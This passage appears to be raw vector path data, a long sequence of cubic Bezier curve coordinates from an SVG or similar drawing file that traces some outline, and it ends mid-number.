34584.00 79386.00C34584.00 79375.33 34584.00 79364.67 34584.00 79354.00C34562.33 79354.00 34540.67 79354.00 34519.00 79354.00C34508.33 79375.33 34497.67 79396.67 34487.00 79418.00C34476.33 79407.33 34465.67 79396.67 34455.00 79386.00C34444.33 79396.67 34433.67 79407.33 34423.00 79418.00C34401.67 79418.00 34380.33 79418.00 34359.00 79418.00C34359.00 79407.33 34359.00 79396.67 34359.00 79386.00C34359.00 79396.67 34359.00 79407.33 34359.00 79418.00C34337.33 79407.33 34315.67 79396.67 34294.00 79386.00C34262.00 79407.33 34230.00 79428.67 34198.00 79450.00C34161.92 79432.25 34125.82 79414.53 34089.89 79396.45C34082.93 79392.96 34075.96 79389.48 34069.00 79386.00C34069.00 79396.67 34069.00 79407.33 34069.00 79418.00C34058.33 79407.33 34047.67 79396.67 34037.00 79386.00C34037.00 79396.67 34037.00 79407.33 34037.00 79418.00C34026.33 79407.33 34015.67 79396.67 34005.00 79386.00C33994.33 79396.67 33983.67 79407.33 33973.00 79418.00C33962.00 79418.00 33951.00 79418.00 33940.00 79418.00C33940.00 79439.33 33940.00 79460.67 33940.00 79482.00C33908.00 79482.00 33876.00 79482.00 33844.00 79482.00C33822.67 79493.00 33801.33 79504.00 33780.00 79515.00C33780.00 79536.33 33780.00 79557.67 33780.00 79579.00C33769.33 79568.33 33758.67 79557.67 33748.00 79547.00C33737.00 79568.33 33726.00 79589.67 33715.00 79611.00C33693.67 79632.33 33672.33 79653.67 33651.00 79675.00C33640.33 79675.00 33629.67 79675.00 33619.00 79675.00C33608.33 79696.67 33597.67 79718.33 33587.00 79740.00C33587.00 79772.00 33587.00 79804.00 33587.00 79836.00C33597.67 79836.00 33608.33 79836.00 33619.00 79836.00C33629.67 79846.67 33640.33 79857.33 33651.00 79868.00C33640.33 79878.67 33629.67 79889.33 33619.00 79900.00C33619.00 79911.00 33619.00 79922.00 33619.00 79933.00C33608.33 79943.67 33597.67 79954.33 33587.00 79965.00C33597.67 79975.67 33608.33 79986.33 33619.00 79997.00C33608.33 80007.67 33597.67 80018.33 33587.00 80029.00C33565.67 80039.67 33544.33 80050.33 33523.00 80061.00C33512.00 80082.67 33501.00 80104.33 33490.00 80126.00C33468.67 80136.67 33447.33 80147.33 33426.00 80158.00C33426.00 80168.67 33426.00 80179.33 33426.00 80190.00C33404.67 80200.67 33383.33 80211.33 33362.00 80222.00C33340.33 80254.00 33318.67 80286.00 33297.00 80318.00C33286.33 80318.00 33275.67 80318.00 33265.00 80318.00C33254.33 80350.33 33243.67 80382.67 33233.00 80415.00C33211.67 80415.00 33190.33 80415.00 33169.00 80415.00C33158.33 80447.00 33147.67 80479.00 33137.00 80511.00C33126.33 80511.00 33115.67 80511.00 33105.00 80511.00C33115.67 80521.67 33126.33 80532.33 33137.00 80543.00C33126.33 80575.33 33115.67 80607.67 33105.00 80640.00C33083.33 80650.67 33061.67 80661.33 33040.00 80672.00C33029.33 80693.33 33018.67 80714.67 33008.00 80736.00C33008.00 80768.33 33008.00 80800.67 33008.00 80833.00C32997.33 80854.33 32986.67 80875.67 32976.00 80897.00C32954.67 80907.67 32933.33 80918.33 32912.00 80929.00C32901.00 80940.00 32890.00 80951.00 32879.00 80962.00C32857.67 80972.67 32836.33 80983.33 32815.00 80994.00C32804.33 81015.33 32793.67 81036.67 32783.00 81058.00C32729.33 81058.00 32675.67 81058.00 32622.00 81058.00C32611.33 81068.67 32600.67 81079.33 32590.00 81090.00C32579.33 81111.33 32568.67 81132.67 32558.00 81154.00C32547.33 81165.00 32536.67 81176.00 32526.00 81187.00C32504.33 81165.33 32482.67 81143.67 32461.00 81122.00C32450.33 81122.00 32439.67 81122.00 32429.00 81122.00C32375.67 81143.67 32322.33 81165.33 32269.00 81187.00C32258.00 81208.33 32247.00 81229.67 32236.00 81251.00C32247.00 81261.67 32258.00 81272.33 32269.00 81283.00C32251.83 81299.67 32234.55 81316.22 32217.74 81333.26C32213.16 81337.84 32208.58 81342.42 32204.00 81347.00C32204.00 81357.67 32204.00 81368.33 32204.00 81379.00C32182.67 81357.67 32161.33 81336.33 32140.00 81315.00C32129.33 81315.00 32118.67 81315.00 32108.00 81315.00C32086.33 81293.67 32064.67 81272.33 32043.00 81251.00C32021.67 81272.33 32000.33 81293.67 31979.00 81315.00C31914.67 81325.67 31850.33 81336.33 31786.00 81347.00C31754.00 81368.67 31722.00 81390.33 31690.00 81412.00C31690.00 81433.33 31690.00 81454.67 31690.00 81476.00C31668.24 81497.37 31646.58 81518.85 31624.76 81540.16C31592.84 81561.77 31560.92 81583.39 31529.00 81605.00C31529.00 81615.67 31529.00 81626.33 31529.00 81637.00C31421.48 81658.39 31313.95 81679.70 31206.44 81701.14C31035.30 81744.09 30864.15 81787.05 30693.00 81830.00C30703.67 81797.67 30714.33 81765.33 30725.00 81733.00C30703.67 81711.67 30682.33 81690.33 30661.00 81669.00C30671.67 81647.67 30682.33 81626.33 30693.00 81605.00C30671.67 81594.00 30650.33 81583.00 30629.00 81572.00C30607.33 81572.00 30585.67 81572.00 30564.00 81572.00C30542.67 81550.67 30521.33 81529.33 30500.00 81508.00C30500.00 81497.33 30500.00 81486.67 30500.00 81476.00C30489.33 81465.33 30478.67 81454.67 30468.00 81444.00C30478.67 81422.33 30489.33 81400.67 30500.00 81379.00C30489.33 81368.33 30478.67 81357.67 30468.00 81347.00C30478.67 81325.67 30489.33 81304.33 30500.00 81283.00C30510.67 81283.00 30521.33 81283.00 30532.00 81283.00C30532.00 81261.67 30532.00 81240.33 30532.00 81219.00C30542.67 81197.33 30553.33 81175.67 30564.00 81154.00C30553.33 81154.00 30542.67 81154.00 30532.00 81154.00C30521.33 81165.00 30510.67 81176.00 30500.00 81187.00C30489.33 81176.00 30478.67 81165.00 30468.00 81154.00C30478.67 81154.00 30489.33 81154.00 30500.00 81154.00C30500.00 81143.33 30500.00 81132.67 30500.00 81122.00C30478.67 81132.67 30457.33 81143.33 30436.00 81154.00C30425.33 81143.33 30414.67 81132.67 30404.00 81122.00C30404.00 81111.33 30404.00 81100.67 30404.00 81090.00C30393.33 81100.67 30382.67 81111.33 30372.00 81122.00C30372.00 81143.67 30372.00 81165.33 30372.00 81187.00C30372.00 81165.33 30372.00 81143.67 30372.00 81122.00C30350.33 81111.33 30328.67 81100.67 30307.00 81090.00C30317.67 81079.33 30328.33 81068.67 30339.00 81058.00C30328.33 81058.00 30317.67 81058.00 30307.00 81058.00C30307.00 81068.67 30307.00 81079.33 30307.00 81090.00C30285.67 81090.00 30264.33 81090.00 30243.00 81090.00C30253.67 81100.67 30264.33 81111.33 30275.00 81122.00C30253.67 81122.00 30232.33 81122.00 30211.00 81122.00C30200.33 81132.67 30189.67 81143.33 30179.00 81154.00C30168.00 81143.33 30157.00 81132.67 30146.00 81122.00C30157.00 81111.33 30168.00 81100.67 30179.00 81090.00C30168.00 81090.00 30157.00 81090.00 30146.00 81090.00C30135.33 81100.67 30124.67 81111.33 30114.00 81122.00C30103.33 81111.33 30092.67 81100.67 30082.00 81090.00C30092.67 81090.00 30103.33 81090.00 30114.00 81090.00C30103.33 81090.00 30092.67 81090.00 30082.00 81090.00C30060.67 81100.67 30039.33 81111.33 30018.00 81122.00C30018.00 81143.67 30018.00 81165.33 30018.00 81187.00C30007.33 81187.00 29996.67 81187.00 29986.00 81187.00C29975.00 81176.00 29964.00 81165.00 29953.00 81154.00C29942.33 81154.00 29931.67 81154.00 29921.00 81154.00C29910.33 81165.00 29899.67 81176.00 29889.00 81187.00C29899.67 81187.00 29910.33 81187.00 29921.00 81187.00C29921.00 81176.00 29921.00 81165.00 29921.00 81154.00C29931.67 81175.67 29942.33 81197.33 29953.00 81219.00C29942.33 81219.00 29931.67 81219.00 29921.00 81219.00C29910.33 81208.33 29899.67 81197.67 29889.00 81187.00C29889.00 81176.00 29889.00 81165.00 29889.00 81154.00C29878.33 81154.00 29867.67 81154.00 29857.00 81154.00C29835.67 81175.67 29814.33 81197.33 29793.00 81219.00C29771.33 81208.33 29749.67 81197.67 29728.00 81187.00C29706.67 81165.33 29685.33 81143.67 29664.00 81122.00C29642.67 81132.67 29621.33 81143.33 29600.00 81154.00C29600.00 81143.33 29600.00 81132.67 29600.00 81122.00C29589.33 81122.00 29578.67 81122.00 29568.00 81122.00C29578.67 81100.67 29589.33 81079.33 29600.00 81058.00C29567.67 81058.00 29535.33 81058.00 29503.00 81058.00C29481.67 81068.67 29460.33 81079.33 29439.00 81090.00C29428.33 81090.00 29417.67 81090.00 29407.00 81090.00C29417.67 81111.33 29428.33 81132.67 29439.00 81154.00C29417.67 81154.00 29396.33 81154.00 29375.00 81154.00C29375.00 81143.33 29375.00 81132.67 29375.00 81122.00C29364.33 81132.67 29353.67 81143.33 29343.00 81154.00C29332.00 81143.33 29321.00 81132.67 29310.00 81122.00C29299.33 81122.00 29288.67 81122.00 29278.00 81122.00C29288.67 81111.33 29299.33 81100.67 29310.00 81090.00C29310.00 81079.33 29310.00 81068.67 29310.00 81058.00C29288.67 81058.00 29267.33 81058.00 29246.00 81058.00C29246.00 81047.33 29246.00 81036.67 29246.00 81026.00C29235.33 81026.00 29224.67 81026.00 29214.00 81026.00C29203.33 81015.33 29192.67 81004.67 29182.00 80994.00C29171.33 81004.67 29160.67 81015.33 29150.00 81026.00C29139.00 81015.33 29128.00 81004.67 29117.00 80994.00C29095.67 81004.67 29074.33 81015.33 29053.00 81026.00C29042.33 80993.67 29031.67 80961.33 29021.00 80929.00C29010.33 80950.67 28999.67 80972.33 28989.00 80994.00C28978.33 80983.33 28967.67 80972.67 28957.00 80962.00C28935.33 80972.67 28913.67 80983.33 28892.00 80994.00C28870.67 80983.33 28849.33 80972.67 28828.00 80962.00C28817.33 80983.33 28806.67 81004.67 28796.00 81026.00C28785.33 81004.67 28774.67 80983.33 28764.00 80962.00C28742.67 80962.00 28721.33 80962.00 28700.00 80962.00C28700.00 80951.00 28700.00 80940.00 28700.00 80929.00C28689.00 80940.00 28678.00 80951.00 28667.00 80962.00C28656.33 80962.00 28645.67 80962.00 28635.00 80962.00C28645.67 80951.00 28656.33 80940.00 28667.00 80929.00C28656.33 80929.00 28645.67 80929.00 28635.00 80929.00C28635.00 80918.33 28635.00 80907.67 28635.00 80897.00C28613.67 80907.67 28592.33 80918.33 28571.00 80929.00C28549.67 80918.33 28528.33 80907.67 28507.00 80897.00C28496.00 80886.33 28485.00 80875.67 28474.00 80865.00C28452.67 80865.00 28431.33 80865.00 28410.00 80865.00C28388.67 80875.67 28367.33 80886.33 28346.00 80897.00C28324.16 80875.06 28302.17 80853.27 28280.07 80831.59C28269.71 80821.39 28259.36 80811.20 28249.00 80801.00C28238.33 80822.33 28227.67 80843.67 28217.00 80865.00C28195.67 80854.33 28174.33 80843.67 28153.00 80833.00C28163.67 80833.00 28174.33 80833.00 28185.00 80833.00C28185.00 80822.33 28185.00 80811.67 28185.00 80801.00C28153.00 80811.67 28121.00 80822.33 28089.00 80833.00C28078.00 80843.67 28067.00 80854.33 28056.00 80865.00C28067.00 80865.00 28078.00 80865.00 28089.00 80865.00C28078.00 80875.67 28067.00 80886.33 28056.00 80897.00C28045.33 80875.67 28034.67 80854.33 28024.00 80833.00C28013.33 80833.00 28002.67 80833.00 27992.00 80833.00C27992.00 80843.67 27992.00 80854.33 27992.00 80865.00C27981.33 80854.33 27970.67 80843.67 27960.00 80833.00C27949.33 80843.67 27938.67 80854.33 27928.00 80865.00C27895.67 80854.33 27863.33 80843.67 27831.00 80833.00C27831.00 80822.33 27831.00 80811.67 27831.00 80801.00C27820.33 80822.33 27809.67 80843.67 27799.00 80865.00C27788.33 80865.00 27777.67 80865.00 27767.00 80865.00C27767.00 80854.33 27767.00 80843.67 27767.00 80833.00C27756.33 80843.67 27745.67 80854.33 27735.00 80865.00C27724.33 80865.00 27713.67 80865.00 27703.00 80865.00C27713.67 80843.67 27724.33 80822.33 27735.00 80801.00C27713.67 80801.00 27692.33 80801.00 27671.00 80801.00C27671.00 80811.67 27671.00 80822.33 27671.00 80833.00C27649.33 80822.33 27627.67 80811.67 27606.00 80801.00C27595.33 80822.33 27584.67 80843.67 27574.00 80865.00C27574.00 80854.33 27574.00 80843.67 27574.00 80833.00C27563.33 80833.00 27552.67 80833.00 27542.00 80833.00C27531.33 80811.67 27520.67 80790.33 27510.00 80769.00C27499.33 80779.67 27488.67 80790.33 27478.00 80801.00C27488.67 80811.67 27499.33 80822.33 27510.00 80833.00C27499.33 80833.00 27488.67 80833.00 27478.00 80833.00C27467.00 80811.67 27456.00 80790.33 27445.00 80769.00C27434.33 80779.67 27423.67 80790.33 27413.00 80801.00C27402.33 80779.33 27391.67 80757.67 27381.00 80736.00C27370.33 80736.00 27359.67 80736.00 27349.00 80736.00C27338.33 80757.67 27327.67 80779.33 27317.00 80801.00C27284.67 80801.00 27252.33 80801.00 27220.00 80801.00C27220.00 80822.33 27220.00 80843.67 27220.00 80865.00C27209.33 80854.33 27198.67 80843.67 27188.00 80833.00C27188.00 80843.67 27188.00 80854.33 27188.00 80865.00C27177.33 80865.00 27166.67 80865.00 27156.00 80865.00C27145.33 80854.33 27134.67 80843.67 27124.00 80833.00C27113.33 80843.67 27102.67 80854.33 27092.00 80865.00C27092.00 80875.67 27092.00 80886.33 27092.00 80897.00C27081.33 80886.33 27070.67 80875.67 27060.00 80865.00C27038.33 80865.00 27016.67 80865.00 26995.00 80865.00C26995.00 80843.67 26995.00 80822.33 26995.00 80801.00C26984.33 80811.67 26973.67 80822.33 26963.00 80833.00C26941.67 80822.33 26920.33 80811.67 26899.00 80801.00C26867.00 80801.00 26835.00 80801.00 26803.00 80801.00C26803.00 80822.33 26803.00 80843.67 26803.00 80865.00C26781.33 80865.00 26759.67 80865.00 26738.00 80865.00C26738.00 80854.33 26738.00 80843.67 26738.00 80833.00C26684.33 80822.33 26630.67 80811.67 26577.00 80801.00C26577.00 80822.33 26577.00 80843.67 26577.00 80865.00C26555.67 80854.33 26534.33 80843.67 26513.00 80833.00C26491.67 80833.00 26470.33 80833.00 26449.00 80833.00C26449.00 80854.33 26449.00 80875.67 26449.00 80897.00C26438.33 80886.33 26427.67 80875.67 26417.00 80865.00C26395.33 80875.67 26373.67 80886.33 26352.00 80897.00C26309.33 80886.33 26266.67 80875.67 26224.00 80865.00C26213.33 80886.33 26202.67 80907.67 26192.00 80929.00C26181.00 80918.33 26170.00 80907.67 26159.00 80897.00C26137.67 80907.67 26116.33 80918.33 26095.00 80929.00C26084.33 80940.00 26073.67 80951.00 26063.00 80962.00C26052.33 80951.00 26041.67 80940.00 26031.00 80929.00C26009.67 80950.67 25988.33 80972.33 25967.00 80994.00C25956.00 80972.33 25945.00 80950.67 25934.00 80929.00C25912.67 80950.67 25891.33 80972.33 25870.00 80994.00C25859.33 80983.33 25848.67 80972.67 25838.00 80962.00C25848.67 80951.00 25859.33 80940.00 25870.00 80929.00C25859.33 80929.00 25848.67 80929.00 25838.00 80929.00C25816.67 80886.33 25795.33 80843.67 25774.00 80801.00C25763.00 80801.00 25752.00 80801.00 25741.00 80801.00C25741.00 80811.67 25741.00 80822.33 25741.00 80833.00C25730.33 80822.33 25719.67 80811.67 25709.00 80801.00C25709.00 80790.33 25709.00 80779.67 25709.00 80769.00C25687.67 80779.67 25666.33 80790.33 25645.00 80801.00C25634.33 80790.33 25623.67 80779.67 25613.00 80769.00C25602.33 80769.00 25591.67 80769.00 25581.00 80769.00C25581.00 80758.00 25581.00 80747.00 25581.00 80736.00C25559.33 80736.00 25537.67 80736.00 25516.00 80736.00C25516.00 80747.00 25516.00 80758.00 25516.00 80769.00C25473.33 80769.00 25430.67 80769.00 25388.00 80769.00C25366.33 80758.00 25344.67 80747.00 25323.00 80736.00C25312.33 80747.00 25301.67 80758.00 25291.00 80769.00C25280.33 80758.00 25269.67 80747.00 25259.00 80736.00C25248.33 80747.00 25237.67 80758.00 25227.00 80769.00C25216.33 80758.00 25205.67 80747.00 25195.00 80736.00C25162.67 80725.33 25130.33 80714.67 25098.00 80704.00C25076.67 80714.67 25055.33 80725.33 25034.00 80736.00C25023.33 80747.00 25012.67 80758.00 25002.00 80769.00C24991.33 80758.00 24980.67 80747.00 24970.00 80736.00C24927.00 80736.00 24884.00 80736.00 24841.00 80736.00C24841.00 80757.67 24841.00 80779.33 24841.00 80801.00C24819.67 80801.00 24798.33 80801.00 24777.00 80801.00C24766.33 80822.33 24755.67 80843.67 24745.00 80865.00C24734.00 80854.33 24723.00 80843.67 24712.00 80833.00C24701.33 80854.33 24690.67 80875.67 24680.00 80897.00C24669.33 80886.33 24658.67 80875.67 24648.00 80865.00C24637.33 80886.33 24626.67 80907.67 24616.00 80929.00C24616.00 80918.33 24616.00 80907.67 24616.00 80897.00C24599.19 80913.82 24582.27 80930.55 24565.83 80947.74C24561.22 80952.49 24556.61 80957.25 24552.00 80962.00C24530.33 80962.00 24508.67 80962.00 24487.00 80962.00C24487.00 80972.67 24487.00 80983.33 24487.00 80994.00C24476.33 80983.33 24465.67 80972.67 24455.00 80962.00C24455.00 80972.67 24455.00 80983.33 24455.00 80994.00C24433.67 80994.00 24412.33 80994.00 24391.00 80994.00C24401.67 81004.67 24412.33 81015.33 24423.00 81026.00C24412.33 81015.33 24401.67 81004.67 24391.00 80994.00C24380.33 81004.67 24369.67 81015.33 24359.00 81026.00C24348.33 81026.00 24337.67 81026.00 24327.00 81026.00C24327.00 81036.67 24327.00 81047.33 24327.00 81058.00C24294.67 81058.00 24262.33 81058.00 24230.00 81058.00C24230.00 81047.33 24230.00 81036.67 24230.00 81026.00C24219.33 81036.67 24208.67 81047.33 24198.00 81058.00C24198.00 81047.33 24198.00 81036.67 24198.00 81026.00C24187.33 81047.33 24176.67 81068.67 24166.00 81090.00C24155.33 81090.00 24144.67 81090.00 24134.00 81090.00C24144.67 81079.33 24155.33 81068.67 24166.00 81058.00C24144.67 81068.67 24123.33 81079.33 24102.00 81090.00C24102.00 81111.33 24102.00 81132.67 24102.00 81154.00C24102.00 81143.33 24102.00 81132.67 24102.00 81122.00C24091.00 81122.00 24080.00 81122.00 24069.00 81122.00C24069.00 81132.67 24069.00 81143.33 24069.00 81154.00C24058.33 81154.00 24047.67 81154.00 24037.00 81154.00C24026.33 81175.67 24015.67 81197.33 24005.00 81219.00C23994.33 81219.00 23983.67 81219.00 23973.00 81219.00C23962.33 81229.67 23951.67 81240.33 23941.00 81251.00C23919.67 81261.67 23898.33 81272.33 23877.00 81283.00C23877.00 81293.67 23877.00 81304.33 23877.00 81315.00C23866.00 81304.33 23855.00 81293.67 23844.00 81283.00C23844.00 81293.67 23844.00 81304.33 23844.00 81315.00C23833.33 81315.00 23822.67 81315.00 23812.00 81315.00C23801.33 81304.33 23790.67 81293.67 23780.00 81283.00C23780.00 81293.67 23780.00 81304.33 23780.00 81315.00C23758.67 81315.00 23737.33 81315.00 23716.00 81315.00C23716.00 81325.67 23716.00 81336.33 23716.00 81347.00C23705.33 81357.67 23694.67 81368.33 23684.00 81379.00C23662.33 81368.33 23640.67 81357.67 23619.00 81347.00C23587.00 81347.00 23555.00 81347.00 23523.00 81347.00C23512.33 81336.33 23501.67 81325.67 23491.00 81315.00C23458.67 81325.67 23426.33 81336.33 23394.00 81347.00C23383.33 81347.00 23372.67 81347.00 23362.00 81347.00C23351.33 81368.67 23340.67 81390.33 23330.00 81412.00C23319.33 81401.00 23308.67 81390.00 23298.00 81379.00C23287.33 81379.00 23276.67 81379.00 23266.00 81379.00C23255.00 81390.00 23244.00 81401.00 23233.00 81412.00C23201.00 81422.67 23169.00 81433.33 23137.00 81444.00C23115.67 81433.33 23094.33 81422.67 23073.00 81412.00C23051.33 81422.67 23029.67 81433.33 23008.00 81444.00C22991.19 81427.18 22974.27 81410.45 22957.83 81393.26C22953.22 81388.51 22948.61 81383.75 22944.00 81379.00C22912.00 81390.00 22880.00 81401.00 22848.00 81412.00C22837.00 81401.00 22826.00 81390.00 22815.00 81379.00C22815.00 81368.33 22815.00 81357.67 22815.00 81347.00C22804.33 81347.00 22793.67 81347.00 22783.00 81347.00C22761.67 81336.33 22740.33 81325.67 22719.00 81315.00C22708.33 81325.67 22697.67 81336.33 22687.00 81347.00C22687.00 81336.33 22687.00 81325.67 22687.00 81315.00C22665.67 81304.33 22644.33 81293.67 22623.00 81283.00C22612.00 81293.67 22601.00 81304.33 22590.00 81315.00C22579.33 81304.33 22568.67 81293.67 22558.00 81283.00C22547.33 81283.00 22536.67 81283.00 22526.00 81283.00C22536.67 81272.33 22547.33 81261.67 22558.00 81251.00C22536.67 81208.00 22515.33 81165.00 22494.00 81122.00C22461.67 81100.67 22429.33 81079.33 22397.00 81058.00C22386.33 81026.00 22375.67 80994.00 22365.00 80962.00C22343.67 80951.00 22322.33 80940.00 22301.00 80929.00C22290.33 80929.00 22279.67 80929.00 22269.00 80929.00C22258.33 80907.67 22247.67 80886.33 22237.00 80865.00C22215.33 80865.00 22193.67 80865.00 22172.00 80865.00C22172.00 80854.33 22172.00 80843.67 22172.00 80833.00C22150.67 80822.33 22129.33 80811.67 22108.00 80801.00C21968.67 80897.33 21829.33 80993.67 21690.00 81090.00C21679.34 80628.81 21668.64 80167.62 21658.00 79706.43C21658.00 78667.28 21658.00 77628.14 21658.00 76589.00C21668.66 76406.57 21679.37 76224.14 21690.00 76041.71C21690.00 75806.14 21690.00 75570.57 21690.00 75335.00C21700.67 75302.67 21711.33 75270.33 21722.00 75238.00C21743.67 75238.00 21765.33 75238.00 21787.00 75238.00C21797.67 75248.67 21808.33 75259.33 21819.00 75270.00C21829.67 75238.00 21840.33 75206.00 21851.00 75174.00C21861.67 75163.33 21872.33 75152.67 21883.00 75142.00C21915.00 75152.67 21947.00 75163.33 21979.00 75174.00C22000.67 75163.33 22022.33 75152.67 22044.00 75142.00C22054.67 75120.33 22065.33 75098.67 22076.00 75077.00C22076.00 75045.00 22076.00 75013.00 22076.00 74981.00C22086.67 74981.00 22097.33 74981.00 22108.00 74981.00C22108.00 74959.67 22108.00 74938.33 22108.00 74917.00C22118.67 74906.33 22129.33 74895.67 22140.00 74885.00C22129.33 74874.00 22118.67 74863.00 22108.00 74852.00C22118.67 74841.33 22129.33 74830.67 22140.00 74820.00C22129.33 74820.00 22118.67 74820.00 22108.00 74820.00C22086.67 74766.33 22065.33 74712.67 22044.00 74659.00C22033.33 74659.00 22022.67 74659.00 22012.00 74659.00C22012.00 74637.67 22012.00 74616.33 22012.00 74595.00C21990.33 74595.00 21968.67 74595.00 21947.00 74595.00C21925.67 74573.67 21904.33 74552.33 21883.00 74531.00C21893.67 74520.33 21904.33 74509.67 21915.00 74499.00C21893.67 74488.33 21872.33 74477.67 21851.00 74467.00C21829.67 74413.33 21808.33 74359.67 21787.00 74306.00C21797.67 74295.33 21808.33 74284.67 21819.00 74274.00C21829.67 74252.33 21840.33 74230.67 21851.00 74209.00C21840.33 74209.00 21829.67 74209.00 21819.00 74209.00C21829.67 74198.33 21840.33 74187.67 21851.00 74177.00C21851.00 74155.67 21851.00 74134.33 21851.00 74113.00C21829.67 74102.33 21808.33 74091.67 21787.00 74081.00C21787.00 74070.33 21787.00 74059.67 21787.00 74049.00C21808.33 74038.00 21829.67 74027.00 21851.00 74016.00C21840.33 74048.33 21829.67 74080.67 21819.00 74113.00C21829.67 74113.00 21840.33 74113.00 21851.00 74113.00C21861.67 74102.33 21872.33 74091.67 21883.00 74081.00C21904.33 74102.33 21925.67 74123.67 21947.00 74145.00C21957.67 74145.00 21968.33 74145.00 21979.00 74145.00C21990.00 74134.33 22001.00 74123.67 22012.00 74113.00C22001.00 74091.67 21990.00 74070.33 21979.00 74049.00C21957.67 74049.00 21936.33 74049.00 21915.00 74049.00C21915.00 74038.00 21915.00 74027.00 21915.00 74016.00C21925.67 74005.33 21936.33 73994.67 21947.00 73984.00C21936.33 73962.67 21925.67 73941.33 21915.00 73920.00C21925.67 73920.00 21936.33 73920.00 21947.00 73920.00C21957.67 73930.67 21968.33 73941.33 21979.00 73952.00C22011.33 73952.00 22043.67 73952.00 22076.00 73952.00C22076.00 73941.33 22076.00 73930.67 22076.00 73920.00C22065.33 73920.00 22054.67 73920.00 22044.00 73920.00C22044.00 73887.67 22044.00 73855.33 22044.00 73823.00C22065.33 73834.00 22086.67 73845.00 22108.00 73856.00C22108.00 73834.33 22108.00 73812.67 22108.00 73791.00C22118.67 73791.00 22129.33 73791.00 22140.00 73791.00C22161.67 73769.67 22183.33 73748.33 22205.00 73727.00C22215.67 73748.33 22226.33 73769.67 22237.00 73791.00C22237.00 73780.33 22237.00 73769.67 22237.00 73759.00C22215.30 73726.91 22193.51 73694.87 22171.87 73662.74C22161.25 73641.16 22150.62 73619.58 22140.00 73598.00C22150.67 73587.33 22161.33 73576.67 22172.00 73566.00C22183.00 73576.67 22194.00 73587.33 22205.00 73598.00C22215.67 73598.00 22226.33 73598.00 22237.00 73598.00C22226.33 73566.00 22215.67 73534.00 22205.00 73502.00C22226.33 73502.00 22247.67 73502.00 22269.00 73502.00C22279.67 73469.67 22290.33 73437.33 22301.00 73405.00C22290.33 73416.00 22279.67 73427.00 22269.00 73438.00C22258.33 73427.00 22247.67 73416.00 22237.00 73405.00C22215.33 73416.00 22193.67 73427.00 22172.00 73438.00C22172.00 73448.67 22172.00 73459.33 22172.00 73470.00C22161.33 73470.00 22150.67 73470.00 22140.00 73470.00C22140.00 73459.33 22140.00 73448.67 22140.00 73438.00C22118.67 73448.67 22097.33 73459.33 22076.00 73470.00C22076.00 73459.33 22076.00 73448.67 22076.00 73438.00C22065.33 73427.00 22054.67 73416.00 22044.00 73405.00C22033.33 73426.67 22022.67 73448.33 22012.00 73470.00C22001.00 73470.00 21990.00 73470.00 21979.00 73470.00C21979.00 73459.33 21979.00 73448.67 21979.00 73438.00C21957.67 73438.00 21936.33 73438.00 21915.00 73438.00C21915.00 73448.67 21915.00 73459.33 21915.00 73470.00C21893.67 73480.67 21872.33 73491.33 21851.00 73502.00C21840.33 73502.00 21829.67 73502.00 21819.00 73502.00C21808.33 73523.33 21797.67 73544.67 21787.00 73566.00C21765.33 73566.00 21743.67 73566.00 21722.00 73566.00C21722.00 73598.33 21722.00 73630.67 21722.00 73663.00C21711.33 73652.33 21700.67 73641.67 21690.00 73631.00C21668.67 73652.33 21647.33 73673.67 21626.00 73695.00C21626.00 73727.00 21626.00 73759.00 21626.00 73791.00C21604.33 73780.33 21582.67 73769.67 21561.00 73759.00C21572.00 73769.67 21583.00 73780.33 21594.00 73791.00C21572.33 73791.00 21550.67 73791.00 21529.00 73791.00C21529.00 73812.67 21529.00 73834.33 21529.00 73856.00C21529.00 73845.00 21529.00 73834.00 21529.00 73823.00C21518.33 73834.00 21507.67 73845.00 21497.00 73856.00C21507.67 73856.00 21518.33 73856.00 21529.00 73856.00C21518.33 73856.00 21507.67 73856.00 21497.00 73856.00C21497.00 73866.67 21497.00 73877.33 21497.00 73888.00C21486.33 73877.33 21475.67 73866.67 21465.00 73856.00C21454.33 73877.33 21443.67 73898.67 21433.00 73920.00C21422.33 73920.00 21411.67 73920.00 21401.00 73920.00C21401.00 73930.67 21401.00 73941.33 21401.00 73952.00C21390.33 73941.33 21379.67 73930.67 21369.00 73920.00C21347.33 73941.33 21325.67 73962.67 21304.00 73984.00C21293.33 73984.00 21282.67 73984.00 21272.00 73984.00C21255.19 74000.82 21238.27 74017.55 21221.83 74034.74C21217.22 74039.49 21212.61 74044.25 21208.00 74049.00C21197.33 74049.00 21186.67 74049.00 21176.00 74049.00C21186.67 74049.00 21197.33 74049.00 21208.00 74049.00C21208.00 74059.67 21208.00 74070.33 21208.00 74081.00C21197.33 74091.67 21186.67 74102.33 21176.00 74113.00C21154.33 74091.67 21132.67 74070.33 21111.00 74049.00C21089.67 74070.33 21068.33 74091.67 21047.00 74113.00C21057.67 74113.00 21068.33 74113.00 21079.00 74113.00C21068.33 74123.67 21057.67 74134.33 21047.00 74145.00C21047.00 74155.67 21047.00 74166.33 21047.00 74177.00C21036.33 74166.33 21025.67 74155.67 21015.00 74145.00C21025.67 74155.67 21036.33 74166.33 21047.00 74177.00C21036.33 74177.00 21025.67 74177.00 21015.00 74177.00C21025.67 74187.67 21036.33 74198.33 21047.00 74209.00C21047.00 74230.67 21047.00 74252.33 21047.00 74274.00C21025.67 74274.00 21004.33 74274.00 20983.00 74274.00C20983.00 74284.67 20983.00 74295.33 20983.00 74306.00C20950.67 74316.67 20918.33 74327.33 20886.00 74338.00C20886.00 74348.67 20886.00 74359.33 20886.00 74370.00C20896.67 74370.00 20907.33 74370.00 20918.00 74370.00C20895.49 74392.59 20872.83 74415.03 20850.40 74437.71C20840.94 74447.47 20831.47 74457.24 20822.00 74467.00C20800.67 74467.00 20779.33 74467.00 20758.00 74467.00C20747.00 74477.67 20736.00 74488.33 20725.00 74499.00C20714.33 74488.33 20703.67 74477.67 20693.00 74467.00C20693.00 74477.67 20693.00 74488.33 20693.00 74499.00C20682.33 74488.33 20671.67 74477.67 20661.00 74467.00C20661.00 74488.33 20661.00 74509.67 20661.00 74531.00C20639.67 74541.67 20618.33 74552.33 20597.00 74563.00C20597.00 74552.33 20597.00 74541.67 20597.00 74531.00C20564.67 74552.33 20532.33 74573.67 20500.00 74595.00C20478.67 74616.33 20457.33 74637.67 20436.00 74659.00C20436.00 74670.00 20436.00 74681.00 20436.00 74692.00C20425.33 74692.00 20414.67 74692.00 20404.00 74692.00C20393.33 74734.67 20382.67 74777.33 20372.00 74820.00C20361.33 74820.00 20350.67 74820.00 20340.00 74820.00C20329.33 74841.67 20318.67 74863.33 20308.00 74885.00C20297.00 74885.00 20286.00 74885.00 20275.00 74885.00C20264.33 74906.33 20253.67 74927.67 20243.00 74949.00C20200.33 74949.00 20157.67 74949.00 